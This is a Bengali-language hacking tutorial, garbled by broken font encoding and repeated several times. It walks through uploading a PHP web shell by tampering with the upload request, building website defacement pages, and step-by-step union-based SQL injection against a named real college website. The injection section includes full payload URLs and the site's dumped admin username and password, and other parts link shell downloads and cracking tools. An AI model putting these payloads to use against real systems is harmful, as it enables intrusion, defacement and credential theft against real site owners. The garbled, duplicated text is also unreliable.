অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
